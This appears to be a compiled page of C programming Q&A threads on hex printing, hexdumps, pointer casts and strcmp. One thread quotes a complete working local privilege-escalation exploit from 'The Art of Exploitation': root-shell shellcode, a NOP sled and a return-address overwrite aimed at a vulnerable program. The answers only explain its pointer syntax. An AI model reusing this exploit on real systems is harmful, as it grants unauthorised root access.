printf the last Byte of a hex value in C - c

I have a simple question.
The code is really short so I just post it here
#include <stdio.h>
int main(int argc, const char * argv[])
{
long int p;
printf("FYI: address of first local varaible of main() on the function stack:%p\n",&p);
printf("Enter start address <hex notation> of dump:");
scanf("%lx",&p);
char * q;
q = (char*)p;
printf("%x\n",*q);
return 0;
}
The result of last printf, for example is ffffffc8. What if I only want to keep the last two: c8. How can I do that? I tried:
printf("%2x",*q);
and
printf("%x",*q % 256);
But neither works. Can some one help? Thanks!

To print the least-significant byte of *q in hex you could use:
printf("%02x", *q & 0xFF);
This of course assumes that q can be dereferenced.

First convert to unsigned:
unsigned char q = *(unsigned char *)(p);
printf("%02X", q);
(Otherwise, if your char is signed, the variadic default promotion converts the value to int, and the result may be negative.)

Related

confusion about printf() in C

I'm trying to hexdump a file with following code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#define SIZE 16
void pre_process(char buffer[],int len);
int main(int argc, char **argv){
if(argc == 2){
char *file = argv[1];
FILE *input = fopen(file,"r");
char buffer[SIZE];
char *tmp = malloc(4);
while(!feof(input)){
printf("%06X ",ftell(input)); /*print file pos*/
fread(buffer,1,SIZE,input); /*read 16 bytes with buffer*/
for (int i=0;i<SIZE;i += 4){ /*print each 4 bytes with hex in buffer*/
memcpy(tmp,buffer+i,4);
printf("%08X ",tmp);
}
printf("*");
pre_process(buffer,SIZE); /*print origin plain-text in buffer. subsitute unprint char with '*' */
printf("%s",buffer);
printf("*\n");
}
free(tmp);
fclose(input);
}
}
void pre_process(char buffer[],int len){
for (int i=0;i<len;i++){
if(isblank(buffer[i]) || !isprint(buffer[i]))
buffer[i] = '*';
}
}
reading a slice from lord of ring,result as below:
enter image description here
so, why the hex code are all the same ? It looks like something wrong with printf("%08X ",tmp);
thx for your help.
The answer lies here:
memcpy(tmp,buffer+i,4);
printf("%08X ",tmp);
memcpy as you might already be aware, copies 4 bytes from buffer+i to where tmp is pointing to.
Even though this is done in a loop, tmp continues to hold the address of a specific location, which is never changed. The contents at that address/location in memory are updated with every memcpy() call.
In a nutshell, the house remains there only, hence the address remains the same but people change places, new people arrive as older ones are wiped out!
Also, there is plenty to improve/fix here. I recommend starting with enabling warnings by -Wall option with your compiler.
tmp stores the address of a buffer; that address never changes. What you want to print is the contents of the buffer that tmp points to. In this case, tmp point to a buffer of 4 chars; if you write
printf( "%08X ", *tmp );
you’ll only print the value of the first element - since tmp has type char *, the expression *tmp has type char and is equivalent to writing tmp[0].
To treat what’s in those bytes as an unsigned int (which is what the %X conversion specifier expects), you need to cast the pointer to the correct type before dereferencing it:
printf( "%08X ", *(unsigned int *) tmp );
We first have to cast tmp from char * to unsigned int *, then dereference the result to get the unsigned int equivalent of those four bytes.
This assumes sizeof (unsigned int) == 4 on your system - to be safe, you should write your malloc call as
char *tmp = malloc( sizeof (unsigned int) );
and
for ( int i = 0; i < SIZE; i += sizeof (unsigned int) )
{
memcpy( tmp, buffer + i, sizeof (unsigned int) );
...
}
instead.
You should not use feof as your loop condition - it won’t return true until after you try to read past the end of the file, so your loop will execute once too often. You’ll want to look at the return value of fread to determine whether you’ve reached the end of the file.

What does this syntax *((unsigned int *)(buffer+i)) mean in C

This is the code:
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200);
strcpy(command, "./notesearch \'");
buffer = command + strlen(command);
for(int i=0; i < 160; i+=4) {
*((unsigned int *)(buffer+i)) = ret; // What does this syntax mean?
}
You can get the full code here => https://raw.githubusercontent.com/intere/hacking/master/booksrc/exploit_notesearch.c
Please help me I'm a beginner.
Read it from the inner part to the outer. Here we must suppose that buffer is a pointer to some memory area or array element.
You have:
buffer + 1 ==> address to next memory position or next array element
(unsigned int *)(buffer+i) ==> cast of resulting pointer to a pointer of type unsigned int.
*((unsigned int *)(buffer+i)) ==> dereference the unsigned int pointed out (get the value).
*((unsigned int *)(buffer+i)) = ret; ==> assign the value to the variable ret.
In C, when evaluating expressions, always go from the inside to the outer.
This writes the unsigned int ret to the address buffer+i
*((unsigned int *)(buffer+i)) = ret
buffer+i is a char* (pointer to char)
the (unsigned int *) in (unsigned int *)(buffer+i) transforms the pointer to char into an pointer to unsigned int. This is called a cast.
finally the * dereferences this pointer to unsigned int and writes ret to that address.
Be aware that depending on the architecture of your hardware this may fail because of alignement issues.

How does C do arithmetic to the left of '='?

I'm working through "The art of exploitation", and there's the following C program that I don't fully understand the syntax of.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
Now, inside the for loop, there's one line which, I guess, stores the return address in buffer+i? But where does that value get saved? buffer or i? How does this code even work?
For any pointer or array p and index i, the expression *(p + i) is exactly equal to p[i]. From this follows that p + i is a pointer to the i:th element of p, which is then &p[i].
Assuming you're asking about *((unsigned int *)(buffer+i)), if we split it into its separate parts we have
buffer + i which from above we now know is equal to &buffer[i].
Then we have (unsigned int *) which is a plain cast, which tells the compiler to treat &buffer[i] as a pointer to an unsigned int.
Then lastly we have the dereference of that pointer, which yields the value being pointed to.
So the assignment writes the int value in ret to where &buffer[i] is pointing.
It could also help if we rewrite this using temporary variables:
char *buffer_ptr = buffer + i;
unsigned int *int_ptr = (unsigned int *) buffer_ptr;
int_ptr[0] = ret;
buffer is a pointer to char (char *).
In the following line, the developer casts buffer into a pointer to int, then performs pointer arithmetic by adding an offset of i integers, then deference this offset pointer and writes to that location the value stored in ret.
*((unsigned int *)(buffer+i)) = ret;
Example: assume int is 4byte long, and assume buffer points to address 0x100 (buffer = 0x100).
assume i = 10;
buffer+i then points to 0x100+10*(size of int) = 0x100+10*4 = 0x10E
ret is then written into the memory at address 0x10E
*((unsigned int *)(buffer+i)) = ret;
means
*((unsigned int*)(&(buffer[i]))) = ret;
In the code
*((unsigned int *)(buffer+i)) = ret;
buffer is of type char *, so pointer arithmetic (buffer+i) works using the type it points to, i.e, char. Also, while deferenencing the address held in buffer, it's of type char, as buffer is defined as a pointer to a char type.
Now, the address it produces as a result of buffer +i, is of type char *, i.e., to hold a char type. But, we want to store an unsigned int value (the value of ret variable), so there are two things done in the code:
i is increased by 4 in the loop (assuming the size of an unsigned int in 4 bytes)
the address, is cast to unsigned int *.
Then, the address is dereferenced to indicate the value at that address, and the unsigned int value of ret is stored there.

Strcmp() function realization on C

I need to make an strcmp function by myself, using operations with pointers. That's what I got:
int mystrcmp(const char *str1, const char *str2) {
while ('\0' != *str1 && *str1 == *str2) {
str1 += 1;
str2++;
}
int result1 = (uint8_t)(*str2) - (uint8_t)(*str1); // I need (uint8_t) to use it with Russian symbols.
return result1;
}
But my tutor told me that there are small mistake in my code. I spend really lot of time making tests, but couldn't find it.
Does this answer the question of what you're doing wrong?
#include <stdio.h>
#include <stdint.h>
#include <string.h>
int mystrcmp(const char *str1, const char *str2);
int main(void)
{
char* javascript = "JavaScript";
char* java = "Java";
printf("%d\n", mystrcmp(javascript, java));
printf("%d\n", strcmp(javascript, java));
return 0;
}
int mystrcmp(const char *str1, const char *str2) {
while ('\0' != *str1 && *str1 == *str2) {
str1 += 1;
str2++;
}
int result1 = (uint8_t)(*str2) - (uint8_t)(*str1); // I need (uint8_t) to use it with Russian symbols.
return result1;
}
Output:
-83
83
I'll propose a quick fix:
Change
int result1 = (uint8_t)(*str2) - (uint8_t)(*str1);
To
int result1 = (uint8_t)(*str1) - (uint8_t)(*str2);
And why you were wrong:
The return values of strcmp() should be:
if Return value < 0 then it indicates str1 is less than str2.
if Return value > 0 then it indicates str2 is less than str1.
if Return value = 0 then it indicates str1 is equal to str2.
And you were doing exactly the opposite.
#yLaguardia well answered the order problem.
int strcmp(const char *s1, const char *s2);
The strcmp function returns an integer greater than, equal to, or less than zero, accordingly as the string pointed to by s1 is greater than, equal to, or less than the string pointed to by s2. C11dr §7.24.4.2 3
Using uint8_t is fine for the vast majority of cases. Rare machines do not use 8-bit char, so uint8_t is not available. In any case, it is not needed as unsigned char handles the required unsigned compare. (See below about unsigned compare.)
int result1 =
((unsigned char)*str1 - (unsigned char)*str2);
Even higher portable code would use the following to handle when char range and unsigned range match as well as all other char, unsigned char, int, unsigned sizes/ranges.
int result1 =
((unsigned char)*str1 > (unsigned char)*str2) -
((unsigned char)*str1 < (unsigned char)*str2);
strcmp() is defined as treating each character as unsigned char, regardless if char is signed or unsigned.
... each character shall be interpreted as if it had the type
unsigned char ... C11 §7.24.1 3
Should the char be ASCII or not is not relevant to the coding of strcmp(). Of course under different character encoding, different results may occur. Example: strcmp("A", "a") may result in a positive answer (seldom used EBCDIC) with one encoding, but negative (ASCII) on another.

Converting integer to unsigned char* (int 221 to "\xdd")

I have a function which takes unsigned char* as input.
Say for example that I have:
unsigned char* data = (unsigned char*) "\xdd";
int a = 221;
How can I convert my integer a to unsigned char* such that data and my converted a is indistinguishable?
I have tried playing around with sprintf but without any luck, I'm not sure how to handle the "\x" part.
Since 221 is not guaranteed to be a valid value for a char type, the closest thing you can do is:
int a = 221;
unsigned char buffer[10];
sprintf((char*)buffer, "%c", a);
Here's an example program and its output:
#include <stdio.h>
int main()
{
unsigned char* data = (unsigned char*) "\xdd";
int a = 221;
unsigned char buffer[10];
sprintf((char*)buffer, "%c", a);
printf("%d\n", buffer[0] == data[0]);
printf("%d\n", buffer[0]);
printf("%d\n", data[0]);
}
Output:
1
221
221
Update
Perhaps I misunderstood your question. You can also use:
int a = 221;
unsigned char buffer[10] = {0};
buffer[0] = a;
As stated the question does not make sense and is not possible - you don't actually want to convert to const char *, which is a pointer type. Instead you want to convert into an array of chars and then take the address of that array by using its name.
int x = 221;
char buf[5];
snprintf(buf, sizeof buf, "\\x%.2x", x);
/* now pass buf to whatever function you want, e.g.: */
puts(buf);

Resources